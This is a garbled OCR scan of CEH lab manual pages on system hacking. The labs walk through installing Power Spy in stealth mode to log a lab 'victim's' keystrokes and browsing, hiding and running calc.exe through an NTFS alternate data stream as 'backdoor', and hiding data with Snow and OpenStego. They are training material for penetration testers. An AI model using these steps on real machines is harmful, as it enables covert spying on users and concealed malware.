Save the cument connection settings to an RDP file or open a
‘ saved connection.

| Save || Saveds. || Open. |

& en e [
—————

FIGURE 10.4: Establishing Remote Desktop Connection

6. 'The host machine tries to establish a Remote connection with the target

machine.
7. A Windows Security pop-up appeats; enter the password (qwerty) and click
OK.
r Windows Security X

Enter your credentials

These credentials will be used to connect to 10.10.10.12.

° Jason
o

| ......l

SERVER2016\Jason

[[] Remember me

More choices

FIGURE 10.5: Windows Seaurity pop-up
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8 Dashbaard

B Local Sorver
B Al Servers
Wi aoos
& oS
B File and Storage Services b 2 Add roles and features
fo s Add other servers to manage
W!ﬂ - _reate 3 sarver group
IS e Hide
ROLES AND SERVER GROUPS
Foles 4 | Servergroups 1 | Servers tezak |
i avos 1 £ DNs 1
(® Manageabisty ® Managessility
Events Events
Senices Servioes
Pertormance Fertormance
BPA resuts BPA results
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8. A Remote Desktop Connection window appears; click Yes.

% Remote Desktop Connection

The remote could not be autt d due to problems with &s

security cedfficate. t may be unsafe to proceed.

Certificate name

] Name in the cenfficate from the remote computer:
WIN-OJAQ7QJBPAI.CEH.com

Certificate emors

The following emors were encountered while validating the remote
computer’s cerfficate:

1, The certificate is not from a trusted certfying authority.

Do you want to connect despite these certfficate erors?

[[] Dont ask me again for connections to this computer
| CED %

FIGURE 10.6: Remote Desktop Connection window

Note: You cannot access a Remote Desktop Connection if the target machine
is shut down. This is possible only if the machine is in turmed on.

9. A Remote Desktop connection is successfully established, as shown in the
screenshot:

FIGURE 10.7: Ranote Desktop Connection established successfully

CEH Lab Manual Page 568

Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited




EH task 2

Install Power Spy
2014

EL) Screen Snapshors -
automatically captures
screenshots of entire desktop
oractive windows at st
intervalks, Save sareenshots as
JPEG format images on your
@mputer hard disk.
Automatically stop screenshot
when useris inactive.

10.
11.

Module 06 - System Hacking

Close the Server Manager window.

Navigate to Z:ACEH-Tools\CEHv10 Module 06 System
Hacking\Spyware\General Spyware\Power Spy.

12. Double-click setup.exe.

13.
14.
15,

16.

17.

If the Open File - Security Warning pop-up appeats, click Run.
Follow the installation steps to install Power Spy.

On completing the installation, the Run as Administrator window appears;
click Run,

Run as administrator

FIGURE 10.8: Run as administrator window

The Setup Login Password window appears; enter the password
(qwerty@123) in the New password and Confirm password fields.

Click Submit.

Setup login password '

Setup a password to login the software. The password can include uppercase letters, lowercase

Ietters, numbers and symbols.

New passwordt: RN
Confirm password: RN A

FIGURE 109: Setup login password window
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18. The Welcome To Power Spy Control Panel! webpage appears in the
default browser. Close the browser.

s P+ G| @ e Usng Power Spy Seft [

Welcome To Power Spy Control Panel!

Please keep this page open for basic instructions if you are running Power Spy for the first time.

You can also download a user manual here

After you install Power Spy software, you will be prompted to log in its CP.

K
®

m Keystrokes Typed —
log all keystrokes, including
optional non-alphanumetic
keys, typed with the time,
Windows usecrname,
application name, and
window caption.

Shype
recording

j dipboard Q

Export all logs Delete all logs. 4

Get Started in 4 Easy Steps:

FIGURE 10.10: Welcome To Power Spy Control Panel! Webpage

19. If the Microsoft Phishing Filter pop-up appears, select Ask me later and
click OK.

Microsoft Phishing Filter

Help make your browser more secure:

Set up Phishing Filter

Phishing Filter is designed to wamn you if the website you are visiting might be

9 " Turn on automatic Phishing Filter (recommended)
Some website addresses will be sent to Microsoft to be checked. Information
received will not be used to personally identify you.

¢  Turn off automatic Phishing Filter
:I‘:“bﬁt:addressswmtbesenttoumsoﬂuiessvoudmsewm

[== |

Read the Internet Explorer Privacy Statement online.

FIGURE 10.11: Microsoft Phishing Filter pop-up
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20. The Information dialog box appears on the Setup login password
window; click OK.

Setup login password .

Setup a password to login the software. The password can include uppercase letters, lowercase

letters, numbers and symbols.

Information

You will use it to log in the software.

FIGURE 10.12: Information dialog box
21. The Enter login password window appears; enter the password (which
you set in step 16).
22. Click Submit.

L seit Actions - record
Power Spy administrator
operations, like start or stop
onitoring.

Enter login password

word

FIGURE 10.13: Enter login Password window

Ethical Hacking and C Copyright © by EC-Council
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23. The Register product window appears; click on Later to continue.

Register product

An icon is displayed on Desktop to disable Stealth Mode in trial version.
ELY Stcatth Mode: Power

Spy tuns absolutely invisibly You can totally try the software on yourself. Click Start monitoring and Stealth Mode on it's
under Windows systems and control panel, then do anything as usual on the PC: visiting web sites, reading emails, chatting
does not show in Windows on facebook or Skype. etc. Then, use your hotkey to unhide its control panel. and click an icon on
task list. No one will know it's the left to check logs.

running unlkss you tell them!

You o also choose 5 hide You can also click Configuration to change settings, setup an email to receive logs from any

or unhide Power Spy icon { Y

) ) location, such as a remote PC, iPad or a smart phone.
and its uninstall entry,

If you like the product. click Purchase button below to buy and register it. Stealth M
enabled after it is unlocked with your registration information.

|

FIGURE 10.14: Register product window

24. 'The main window of Power Spy opens as shown below.

Power Sy

n Keylogger
Applicabons

Screenshots executed

ELY “Fask Sehedule: You

an set starting and ending
time for each task to
atomatically start and stop
Yahoo

the monitoring pob.
Websites visited Skype chat massenger Emails
m clipboard Y -
Microphone Administrator
Export all logs Delete all logs
FIGURE 10.15: Main window of Power Spy
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25. Click on Start Monitoring.

Hrtask 3

Power Spy ¢

Monitor and
Record User

Activities
Keylogger “ f

Applications
executed facebook

m Logs View: choose to

view different type of logs
from program main interface,
You can delete selected logs
or ckarall logs, search logs or
export logging reports in 3 0
HTML format clipboard Y
Microphone Administrator
Export all logs Delete all logs
FIGURE 10.16: Start monitoring
26. If the System Reboot Recommended window appears, click OK.
27. Click on Stealth Mode (stealth mode runs the Power spy completely
invisibly on the computer).
28. The Hotkey reminder dialog-box appeats; click on OK (to unhide the
Power spy, Use Ctri+Alt+X keys together on your PC keyboard).
ver Spy Control Panel
(o T f
Hotkey reminder
The Stealth Mode is started an software will run completely invisibly.
To unhide it, use your hotl rl + Al + X. (Press the 3 key her on
your keyboard). Hotkey only works in current Windows us count. It is
disabled in other user accounts for security.
WD cpvod N g
Microphone Administrator
Export all logs Delete all logs
FIGURE 10.17: Hotkey reminder dialog-box
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29. The Confirm dialog-box appears; click Yes.

Power Spy con

0 oo
LLI Fasy-to-use Interface:

config Power Spy with Comfirm
cither Wizard for common
users or control panel for
advanced users. User-
friendly graphical program
interface makes it easy for

beginners.

Are you sure you remember this?

Bl c'ppoard Y _

Microphone Administrator

Export all logs Delete all logs

FIGURE 10.18: Confirm dialog-box

30. Close the Remote Desktop Connection.

Hrask 4 31. Log on to the Windows Server 2012 virtual machine’s Jason account as
— a legitimate user (here, assume you are acting as a victim).
Activities 32. Browse the Internet (anything) or perform any user activity. In this lab,
Facebook and LinkedIn websites have been browsed.
33. Once you have performed some user activities, follow steps1-8 to launch
Remote Desktop Connection, (you are logging in as an attacker).
34. To bring Power Spy out of stealth mode, press Ctri+Alt+X.
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35. The Run as administrator window appears; click on Run.

Run as administrator K

With administrative rights, you can check, del nd export logs, change settings, and

he omplete access to the s

FIGURE 10.19: Run as administrator window

36. The Enter login password window appears; enter the password (which
you set in step 16).

37. Click Submit.

Enter login password

Submit I Cancel l

FIGURE 10.20: Enter the password
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38. Click Later in the Register product window to continue.

Register product

An icon is displayed on Desktop to disable Stealth Mode in trial version,

You can totally try the software on yourself. Click Start monitoring and Stealth Mode on it's
control panel, then do anything as usual on the PC: visiting web sites, reading emails, chatting

on facebook or Skype, etc. Then, use your hotkey to unhide its control panel, and click an icon on
the left to check logs.

You can also click Configuration to change settings. setup an email to receive logs from any
location, such as a remote PC, iPad or a smart phone.

If you like the product. click Purchase button below to buy and register it. Stealth Mode will be
enabled after it is unlocked with your registration information,

FIGURE 10.21: Click on Later

Hrask s 39. Click on Stop Monitoring to stop the monitoring.
View all the
Recorded
Activities
n Keylogger
Applxations
Screenshots executed
S T ™
Websites visited Skype chat mesnngu | Emaiis
—
R s § 8
Microphone Administrator
Export all logs Delete all logs
FIGURE 1022: Stop the monitoring
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ﬂ:] Program Executod —
log all programs including
application, executable fike,
documents and directories
navigated with time,
Windows username,
application/document/direct
ory name and fik: paths..
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40. To check user keystrokes from keyboard, click on Keylogger from Power

Spy Control Panel.

Power Spy control

u logger

Screenshots

& ©

Websites visited Skype chat

m clipboard

Microphone Administrator

Export all logs Delete all logs

FIGURE 10.23: Sclecting keystrokes from Power spy control panel

41. It will display all the resultant keystrokes, as shown in the screenshot:

Locon Hame: Jeson

incew Caption:
Frogram Manage:

L V-
& 10gged Usars: Toe [Legon tame [ Gontent
e taeon CrHATY 5 Cow
= auzbous . New gk Chr.. cgra Py (x!
= {%um Lock) Progam Manager cuwndoazixporer.exs
Vikad
Yahoo Meszener
Tocumants
Cipdoand
Aemnzraty
Mucghone
mestamp: 11/10/2017 4:2G:54 AM A

[ Mlhwnlm Delete  Delete Al  Dport

FIGURE 10.24: Resulted keystrokes
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m Documents Opened —
Jog all text contents of
documents opened in MS
Word and Notepad.
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42. To check the websites visited by the user, click on website visited from
Power spy control panel.

43, It will show all the user-visited websites’ results, as shown in the

following screenshot:
2 Logyed Users: TLogon tama | LR
Jason NEEDs: [ Wirw.Mkadn. ITAfaCERER, .
Jasan httasy'wwa.nkadn.com
Jazon hitt:)jwwesinkedn.zom
B Jason htto:/eucquestioes.ong
. 11/10/2017 £:25:48 AN Jason httos:/ i www.facebock.comfiogin onoZogn_sttempt=1akv=110
[ 1og Typas: 11/10/2017 $:35:28 AN Jason https:) wwnfaceheck.com
Soeensios 1/10/2017 4:35:27 AM Jason htto:/ v facebook com
Aopicatics
¥ahoo Massanger
Skype
Doturments.
Cicooerd
Admastratar
Nirophona
Faczoo0k
Erais

Sign In

Sorrv_we need voli to reset voluir nassword as a

FIGURE 10.25: Result of visited websites

44, 'This way, an attacker might attempt to install key loggers and thereby gain
information related to the user logged in websites, keystrokes, and so on.

Lab Analysis

Analyze and document the results related to the lab exercise. Provide your opinion
regarding your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes No
Platform Supported
M Classroom M iLabs
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Module 06 - System Hacking

Hiding Files using NTFS Streams

A stream consists of data associated with a main file or directory (known as the main
unnamed stream). Each file and directory in NTES can have multiple data streams
that are generally hidden from the user.

Lab Scenario

Once the hacker has fully hacked the local system, installed their backdoors and
port redirectors, and obtained all the information available to them, they will
proceed to hack other systems on the network. Most often, there are matching
service, administrator, or suppott accounts residing on each system that make it
easy for the attacker to compromise each system in a short amount of time. As
each new system is hacked, the attacker performs steps to gather additional
system and password information. Attackers continue to leverage information on
each system until they identify passwords for accounts that reside on highly prized
systems including payroll, root domain controllers, and Web servers. To be an
expert ethical hacker and penetration tester, you must understand how to hide
files using N'TFS streams.

Lab Objectives
The objective of this lab is to help students learn how to hide files using NTFS
streams.

"7 Tools It will teach you how to:

demonstrated in

this lab are = Use NTFS streams

available in = Hide files

Z:\CEH-

Tools\CEHv10 m 'imnmm

Module 06 System Lab E

Hacking To carty out the lab you need:
= Windows Setver 2016 running as a virtual machine
= NTFS Formatted €:\drive
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£ NTES (New
Technokgy File System) is
the standard file system of
Windows.

E task 1

Hide Data Using
NTFS Streams

Module 06 - System Hacking

Lab Duration
Time: 10 Minutes

Owverview of NTFS Streams

NTES supersedes the FAT file system as the preferred file system for Microsoft
Windows operating systems. N'TES has several improvements over FAT and HPFS
(High Performance File System), such as improved suppott for metadata and the use

of advanced data structures.

Lab Tasks

1. Run this lab in Windows Server 2016 virtual machine.

2. Make sute the C:\ drive file system is of NTFS format. To check this, go
to Computer, right click €:\, and click Properties.

e TOme oo TRPC =g
Computer View Manage
- N » ThisPC v & Sesrch This B¢ p
o Quick access v Folders (6)
B Desitop * - Desktop ‘gl Documents
& Downloads  # =
| Documents *
B Pictures » ‘ Downloads } Music
~ad . Videos
v Devices and drives (3)
Loca' Disk (C:)
3 This PC H Floppy Disk Drive (A) Open in new window
B Desktop Ny Ny 197 G8 free of 39 Pin to Quick access
B Documents — 3 Scan with Windows Defender...
e (D)
& Downloads \’ Share with >
b Mosic » Network locations (1) Configure Shadow Copies...
& Pictures Restore previous versions
B Videos QX Pin to Start
% Local Disk (C) BB Addto archive...
B Addto “Archiverar
B Compress and email...
1 tepionk B Compress to “Archive.rst” and email
Format...
Copy
Create shortcut
Rename
fioems_ semssected febropetin,

FIGURE 11.1: Checking the format of Windows Server 2016
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3. The Local Disk (C:/) Properties window appears; check for file system
format, and click OK.

% Local Disk (C:) Properties X

Shadow Copies Previous Versions Quota
General Tools Hardware Sharing Security

Type: Local Disk

Fie system:

. Used space: 40,309,346,304 bytes 375GB

[ Free space: 2.113937408bytes  196GB
Capacity: 42,423,283 712 bytes 335GB

Drive C: Disk Cleanup '

[[] Compress this drive to save disk space

[4] Allow files on this drive to have contents indexed in addition to
file properties

|

FIGURE 11.2: Windows Server 2016 C:\ driver propertics

4. Open Windows Explorer, navigate to C: drive, create a new folder and
name it magic. Using Windows Exploter, copy calc.exe from
C:\windows\system32 to C:\magic.

RO+ Application Tools  Magic - o X
Home  Share  View Manage

- - N » ThisPC » Local Disk (C) » magic vl Search magic V-
& Downloads # ~
[%] Documents #
[# Pictures » calc.exe
=
% Local Disk (C)
oy I

FIGURE 11.3 Copied alcexe file to c\magic
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5. Launch the command prompt, and type cd C:\magic and press Enter.
The command-prompt directory points to the C:\magic drive. Now type
notepad readme.txt and press Enter.

FIGURE 11.4: Changing directory to c:\magic and creating readme.txt notepad fik

6. The readme.txt notepad appears; click the Yes button if prompted to
create a new readme.txt file.

| Notepad X | : |

Cannot find the readme.txt file,

Do you want to create a new file?

No Cancel

FIGURE 1 1.5: Creating read me.txt notepad file
7. Now type Hello World ! in the notepad file.

== m
E readme.tt - Notepad e O X

File Edit Format View Help
Hello World!! Y

- |
FIGURE 11.6: Type Hello world ! in radme.txt notepad file
LY NIFS stream runs on 8. Click File, and click Save to save and close the readme.txt notepad file.
any version of Windows as -
long as the drive is | readme.tt - Notepad = o X
formatted N'IT'S
File | Edit Format View Help
New Ctri+N
Open... Ctrl+O
Save ctiss |
Save As...
Page Setup...
Print.. Ctri+P
Exit
FIGURE 11.7: Save the raadme.txt notepad file
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9. Type dir and press Enter. This lists all the files present in the directory,
along with the files’ sizes. Note the file size of readme.txt.

nond Prompt (5]

B Adminatiator. Come

FIGURE 11.8: Note the size of the readme.xt file

ED) A stream consists of 10. Now hide calc.exe inside the readme.txt by typing the following in the

data associated with a main
command prompt:
fik or directory (known as the p p

main unnamed stream),

type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe

Then press Enter.

B Raminntstor, Command Promet G |

FIGURE 11.9: Command prompt with hiding calcexe command

11. Type dir in command prompt and note the file size of readme.txt, which
should not change. Navigate to the directory c:\magic, and delete

o calc.exe.
=7 Nrrs supersedes the

preferred file system for
Microsoft's Windows
operating systems.

FIGURE 11.10: Command prompt with executing hidden cak.exe command
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12. Type the following command in the command prompt:
H task 2

Execute mklink backdoor.exe readme.txt:calc.exe
the Hidden Then press enter.
Application

In the next line, type backdoor and press enter. The calculator program
will be executed as shown in the following screenshot:

FIGURE 11.11: Command prompt with executed hidden cale.exe

13. In real-time, attackers may hide malicious files from being visible to the
E’Ii’;n‘z"{""“‘"'::;"‘{“ Al legitimate users by using N'TFS streams and execute them whenever
ha od 10 a ne %
(uisibl) fik. required.

Lab Analysis
Document all the results discovered during the lab.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
O Yes ™ No
Platform Supported
Classroom M iLabs
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knowledge
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EL) Workbook review

"~7Tools
demonstrated in
this lab are
available in
Z\CEH-
Tools\CEHv10
Module 06 System
Hacking
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Hiding Data using White Space
Steganography

S is used to conveal maessages in ASCII text by afpending whitespare o the end of bes. Becanse
Spaces and tabs are generally not visitle i teoct viewers, the miessage is effectively bidden from casual
observers. And i the built-m encryption is used, the message canmot be read even if it is dbtected.
Lab Scenario

Network steganography describes all the methods used for transmitting data over a
network without it being detected. Several methods for hiding data in a network have
been proposed, but the main drawback of most of them is that they do not offer a
secondary layer of protection. If steganography is detected, the data is in plain text.
Attackers use steganography to transfer sensitive information out of the target system
undetected. To be an expert Ethical Hacker and Penetration Tester, you must have a
sound knowledge of vatious steganography techniques.

Lab Objectives
The objective of this lab is to help students learn:

= Using Snow steganography to hide files and data
= Hiding files using spaces and tabs

Lab Environment

To catry out the lab, you need:

*  Snow located at Z:ACEH-Tools\CEHv10 Module 06 System
Hacking\Steganography Tools\Whitespace Steganography Tools\Snow

=  Download the latest version of Snow at
httpJ/www.darkside.com.au/snow/.

=  If you wish to download the latest version, then screenshots shown in the lab
might differ
= Run this tool on Windows Server 2016
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Lab Duration

Time: 5 Minutes

Overview of Snow

Snow exploits the steganographic nature of whitespace. Locating trailing whitespace

in text islike finding a polar bear ina snow storm, it uses the ICE enctyption algotithm,
so the name is thematically consistent.

Lab Task

Hrask 1 1. Navigate to Z:\CEH-Tools\CEHv10 Module 06 System

Hacking\Steganography Tools\Whitespace Steganography Tools,

Hide I;ata Using Shift+rightclick the Snow folder, and select Open command window here
now

from the context menu.

2. Open notepad, type Hello World! and press Enter; then long press hyphen to
draw a line below it.

3. Save the file as readme.txt in the folder where SNOW.EXE is located.

/| readme.bt - Notepad = a X
The encryption algorithm File Edit Format View Help
built in to snow is ICE, a [ Hello World! 1

64-bit block cipher also
designed by the author of
snow. It runs in 1-bit
cipher-feedback (CFB)
mode, which although
inefficient (requiring a full
64-bit encryption for each
bit of output).

FIGURE 12.1: Contents of readme.txt
4. Type this command in the command shell:

snow -C -m "My swiss bank account number is 45656684512263" -p
“magic” readme.txt readme2.txt.

(Here, magic is the password. You can type your desired password also.
readme2.txt is the name of another file which will be created automatically
in the same location.)

B Adminstrator: CA\Windows\system3Zicmd.exe = o X

FIGURE 122: Hiding Contents of readme.txt and the text in the readme2.txt file

5. Now the data (“My Swiss bank account number is 45656684512263”) is
hidden inside the readme2.txt file with the contents of readme.txt.
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If you want to compress a
long message, or one not
containing standard text,
you would be better off
compressing the message
externally with a spedalized
compression program, and
bypassing snow’s optional
compression step. This
usually results in a better
compression ratio.

Module 06 - System Hacking

6. 'The contents of readme2.txt are readme.txt + My Swiss bank account

number is 45656684512263.

7. Now type snow -C -p "magic” readme2.txt, it will show the contents of
readme.txt (magic is the password which was entered while hiding the data).

B Adminstrator: C\Windows'sy:

\cmid.exe

FIGURE: 12.3: Revealing the hidden data of readme2.xt

8. To check the file in GUI, open the readme2.txt in notepad and go to Edit >
Selectall. You will see the hidden data inside readme2.txt in form of spaces
and tabs.

| readme2.tt - Notepad

File Edt Format
Hello World!

View Help

FIGURE 124: Contents of readme2.1xt revealed with seleat all option

Lab Analysis

Analyze and document the results related to the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED TO THIS LAB.
Intermnet Connection Required
O Yes No ’
Platform Supported \
M Classroom M iLabs \
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Module 06 - System Hacking

Image Steganography using
OpenStego

OpenStego is a steganography tool that hides data inside images.
Lab Scenario

The terrorists know that so many different types of files can hold all sorts of hidden
information, and tracking or finding these files can be an almost impossible task. So
they use stenographic techniques to hide data. This allows them to rettieve messages
from their home bases and send back updates without a hint of malicious activity
being detected.

These messages can be placed in plain sight, and the servers that supply these files will
never know it. Finding these messages is like finding the proverbial "needle" in the
Wotld Wide Web haystack.

In order to be an expert ethical hacker and penetration tester, you must understand
how to hide a text inside an image. In this lab we show how the text can be hidden
inside an image using OpenStego tool.
Lab Objectives
The objective of this lab is to help the students how to hide secret text messages in
images using OpenStego.
Lab Environment
To petform this lab, you need:

= Windows 10 running as virtual machine

* OpenStego located at ZACEH-Tools\CEHv10 Module 06 System
Hacking\Steganography Tools\Image Steganography Tools\OpenStego

= Administrative privileges to install and run tools

=  Of, download the OpenStego tool from
httpz/sourceforge.net/projects/openstegolfiles

= Ifyou wish to download latest version screenshots may differ
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=  Run this tool on the Windows 10 vittual machine

Lab Duration

Time: 10 Minutes

Overview of OpenStego

OpenStego is Java-based application and supports password-based encryption of data

for additional layer of security. It uses DES algorithm for data encryption, in
conjunction with M5 hashing to detive the DES key from the password provided.

Lab Tasks

Borasx 4 1. Launch the Windows 10 virtual machine and log in to the Admin user
account.

Install OpenStego
o 2. Navigate to Z:\CEH-Tools\CEHv10 Module 06 System

Hacking\Steganography Tools\Image Steganography
Tools\OpenStego, and double-click Setup-OpenStego-0.6.1.exe.

3. If the Open File - Security Warning pop-up appears, click Run.
4. If a User Account Control pop-up appears, click Yes.
EL openstcgo s written 5. 'The OpenStego Setup wizard appears, click | Agree.

in pure Java and shoukd run

on all platforms supported e
e @ OpenStego Setup X

License Agreement
Please review the license terms before installing OpenStego. %

Press Page Down to see the rest of the agreement.

| GNU GENERAL PUBLIC LICENSE A
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

Preamble

_The_hcenses_ for most software are designed to take away your v

If you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install OpenStego.

_IAgee ] | Concel

FIGURE 13.1: Installing OpenStego
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6. In the next step of the wizard, click Install.
Note: If the setup asks for java installation, click No and proceed.

E OpenStego Setup - X
Choose Install Location
Choose the folder in which to install OpenStego. %

Setup will install OpenStego in the following folder. To install in a different folder, dick Browse
and select another folder. Click Instal to start the installation.

FIGURE 13.2: Installing OpenStego
7. On completing the installation, click Close.

@ OpenStego Setup -

Installation Complete
Setup was completed successfully. %
Completed
| Show details |

Nulisaft Instal
o coc

FIGURE 13.3: Installed OpenStego
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8. Navigate to the Apps list in the Start menu, and click Run OpenStego
icon to launch the application.

Recently added Life at a glance

B e See all your mail in one place

Sunday
! Check For Updates @ @ m
1 2 And more..
wd| Run OpenStego

Expand

Most used e

H File Explorer Microsoft Edge

Light Rain
47°

Washington,.. | Phone Compa.. OneNote

Suggested

&, Cooking Fever
52 annnr
A

Acrobat Reader DC

O [iype here to search

FIGURE 13.4: Launching OpenStego

9. OpenStego main window appears, as shown in the screenshot:

OpenStego - X
File Help
Data Hiding Hide data in harmless looking files
Message Fle
:‘ ‘ Cover Fie
Extract Data (Salect multile Bles or provide witdcard (%, 7) to embed same message in multiple fies)
Output Stego Fle
Options
Password Confirm Password
Hide Data
Digital Watermarking (Beta)

FIGURE 13.5: OpenStego Main Window
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Hrask 2 10. Click ellipsis, under the Message File section.

Hide the Text Opensiege = R
Do t Usi ng ile Help
Steganography Hide data in harmless looking files
Message Fle
I (58]
Cover Fie

(Select muitinle files ar provide widcard (%, 2) to embed same message in multiple fies)

Output Stego Fle

| Confirm Password

Hide Data

FIGURE 13.6: Click the Ellipsis Button

11. The Open - Select Message File window appears. Navigate to ZACEH-
Tools\CEHv10 Module 06 System Hacking\Steganography
Tools\image Steganography Tools\OpenStego, sclect New Text
Document.txt, and click Open. The text file contains sensitive
information such as VISA and pin numbers.

[£] Open - Select Message File

X

Look in: OpenStego v 2@

cum

Setup-OpenStego-0.6.1.exe

This PC

‘ File name: New Text Document. txt

fetimork Flesof type: Al Files v ~ Cancel \

FIGURE 13.7: Open - Select Message File Window
12. The location of selected file appeats in the Message File field.
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13. Click ellipsis, under Cover File.

OpenStego
ile Help

= X
‘ Data Hiding Hide data in harmless looking files
@ Message Fle
Hide Data stem Hacke Tools\Image WNew Text Document.txt |
3 Cover Fie
Extract Data

(Select multiple fles or provide widcard (%, ?) to embed same message in multple fies)
l g
Output Stego Fle

Options =

Password

HideData

FIGURE 138: Clicking the Ellipsis Button

14. The Open - Select Cover File window appears. Navigate to Z:ACEH-
Tools\CEHv10 Module 06 System Hacking\Steganography
Tools\image Steganography Tools\OpenStego, sclect Island.jpg, and

click Open.
|£] Open - Select Cover File X
Lookin: | Openstego v| #em-
&
::LJ
Recent Items
Desktop
This PC
Network . ? 3 3
Flesoftype: | Cover fies (*.bmp, *.gff, *.ipeg, *.iog, *.png, “wbmp) Cancel

FIGURE 13.9: Open - Select Cover Fik Window
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15. Now, both the Message file and the Cover file are uploaded. By
performing steganography, the message file will be hidden in the image
file.

OpenStego - X
ile Help

Wew Text Document.txt] ...

m OpenStego supports
password-based encryption
of data for additional layer

of security. - Cover Fie
Extract Data files or, widcard (%, 2) to embed same. i fies)
Module 05 System Hacking is\Imag: Visland.jpg) |....
Output Stego Fle
Options.
‘ Pasoword | Confirm Password

_ HideData

FIGURE 13.10: Both the Files are Uploaded

16. Click ellipsis, under Output Stego File.

OpenStego — X
ile Help

Data Hiding Hide data in harmless looking files
Message File
Hide Data |stem Hadks Tools\Image h Text Document. txt
‘ g Cover Fie
m DES algorithm is Extract Data (Sefect multiole fies o provide widkcard (%, 7) to embed same message in multple fies)
z Module 05 System Hacking’ g
used for data encryption,
along with MD5 hashing to Output Stego Fle
derive the DES key from | @ i
the password provided. P
‘ Password | Confirm Password
[ixeraa
FIGURE 13.11: Clicking Ellipsis Button
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17. The Save - Select Output Stego File window appears. Choose alocation
whete you want to save the file. In this lab, the location chosen is

the Desktop.
Save - Select Output Stego File X
() 9
Lookin: | [l Desktop v| FEE-
; %# Dropbox
a 3 @& OneDrive
- ;
Recentltems | & Admin
= This PC
 Libraries
- ¥ Network
Desktop 4 Homegroup
)
Documents
This PC
P e
Flesof type:  Steqo files (*.png) 3 [ Cancel I
FIGURE 13.12: Save - Select Output Stego File Window
18. Provide the file name stego and click Open
|5 Save - Select Output Stego File X
Lookin: | [l Desktop v| # M
) 3 Dropbox
%T‘J @ OneDrive
Recentltems | & Admin
[ This PC
s Libraries
gy & Network
Desktop 4 Homegroup
Documents
ThisPC
emrk Fiesof tpe: [ stego fles () v [ conce

FIGURE 13.13: Providing File Name
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19. Now, click Hide Data.

E OpenStego = X
File Help

Hide data in harmiess looking files

Message Fie
stem Hacking' hy Tools\Image hy\Of \Wew Text Document. txt

< Cover Fie
Extract Data (Select multiple files or provide widcard (%, ?) to embed same message in multiple fies)
Module 05 System Hacking\Steganography Tools\Image Steganography \CpenStego\lsland. jpg

Qutput Stego Fle
C:\Users\AdminDesktop\stego.png E}
Options

Password Confirm Password

5 Digital Watermarking (Beta)

FIGURE 13.14: Clicking Hide Data button

20. A Success pop-up appeats, stating that the message has been successfully
hidden. Click OK.

Success X

'0‘ Message embedded into 1 Cover file(s). Skipped O file(s)

FIGURE 13.15: Success pop-up

Hrask 3 21. Minimize the OpenStego window. The image containing the secret
message appears on the Desktop. Double-click the image to view it.
View the Image s :
Containing Hidden Note: It can take the image file some time to open.
Text
FIGURE 13.16: Image Containing the Secret Message
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22. You will see only the image but not the contents of the message (text file)
embedded in it, as shown in the screenshot:

stego.png - Photos

FIGURE 13.17: Viewing the Image
HBrask 4 23. Close the Windows Photo Viewer, maximize the OpenStego window,
and dlick Extract Data in the left pane.
Obtain the Text
File From the (& Operste . X
Image File Help
Data Hiding Extract hidden data
# Input Stego Fie
Hide Data
Qutput Folder for Message Fle
Password
Extract Data
Digital Watermarking (Beta)
FIGURE 13.18: Extracting the Hidden Data
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24. Click the ellipsis button to the right of the Input Stego File box.

OpenStego = X
ile Help

‘ Data Hiding Extract hidden data
& Input Stego Fie
g Output Folde for Message Fle
Extract Data 2
Password
t‘:xtrxto_au

FIGURE 13.19: Clicking Ellipsis Button

25. The Open - Select Input Stego File window opens. Navigate to
the Desktop, select stego.png, and click Open.

[__ﬁ._;] Open - Select Input Stego File

X
Lookin: [l Desktop v : AR
&
=
Recent Items
Desktop

‘ File name: 'stego.png

e
Network Files of type: !

Stego fies “ona)

FIGURE 13.20: Open - Select Input Stego File Window
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26. Click the ellipsis button to the right of the Output Folder for Message
File box.
OpenStego X
ile Help
L t Extract hidden data
Hde Dats C:\Users\Admin \Desktop\stego.ong oer]
g Qutput Folder for Message Fle
Extract Dats ;B
Password
| ExtractData
FIGURE 13.21: Open - Select Input Stego File Window
27. 'The Select Output Folder for Message File window appears. Choose a
location to save the message file (Desktop), and click Open.
@] Select Output Folder for Message File X
Lookin: [l Desktop vi e E-
=
Recent Items
Desktop
@
Documents
This PC
‘ Folder name: l Open I
etk Fiesoftpe: [AlFies I -
FIGURE 13.22: Select Output Folder for Message Fik Window
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28. Click Extract Data. This will extract the message file from the image and
save it onto the Desktop.

@ OpenStego - X
File Help
E =
Data Hiding Extract hidden data
& Input Stego Fie
Hde Data C:\Users\Admin\Desktop\stego.png
g w Output Folder for Message Fe
. Extract Data C:\Users\Admin'Desktop
Pasgword
Digital Watermarking (Beta)

FIGURE 13.23: Extracting Data

29. The Success pop-up appears, stating that the message file has been

successfully extracted from the cover file; the message file is displayed on
the Desktop. Click OK.

Success

X
0‘ Message file successfully extracted from the Cover file: New Text Document.txt

FIGURE 13.24: Success Pop-Up

30. Close the OpenStego window, and double-click New Text
Document.txt.

FIGURE 13.25: Opening the Text Document
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31. The file displays all the information contained in the document, as shown
in the screenshot:

7 New Text Document.txt - Notepad - (8] X

File Edit Format View Help
ISA: 12xX XXXX XXXX XX89 .
pin: 1xxd

FIGURE 1326: File Containing the Secret Infe ion

32. In real-time, an attacker might scan for images that contain hidden
information and use steganography tools to obtain the information
hidden in them.

Lab Analysis

Analyze and document the results related to the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemnet Connection Required

O Yes No
Platform Supported
M Classroom M iLabs
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Image Steganography using Quick
Stego

Qhick Stego hides texct in pictures so that only other users of Quick Stego can retrieve

and read the hidden secret messages.
_icon xev _ Lab Scenario
= ;‘;“fl:;:::im Pornography sites that ate filled with images that sometimes change multiple times
each day, require authentication in some cases to access their "better" areas of content,
# Test your and the use of stenographic techniques allows an agent to retrieve messages from their
—knowledge  home bases and send back updates, allin the guise of “porn trading” Thumbnails can

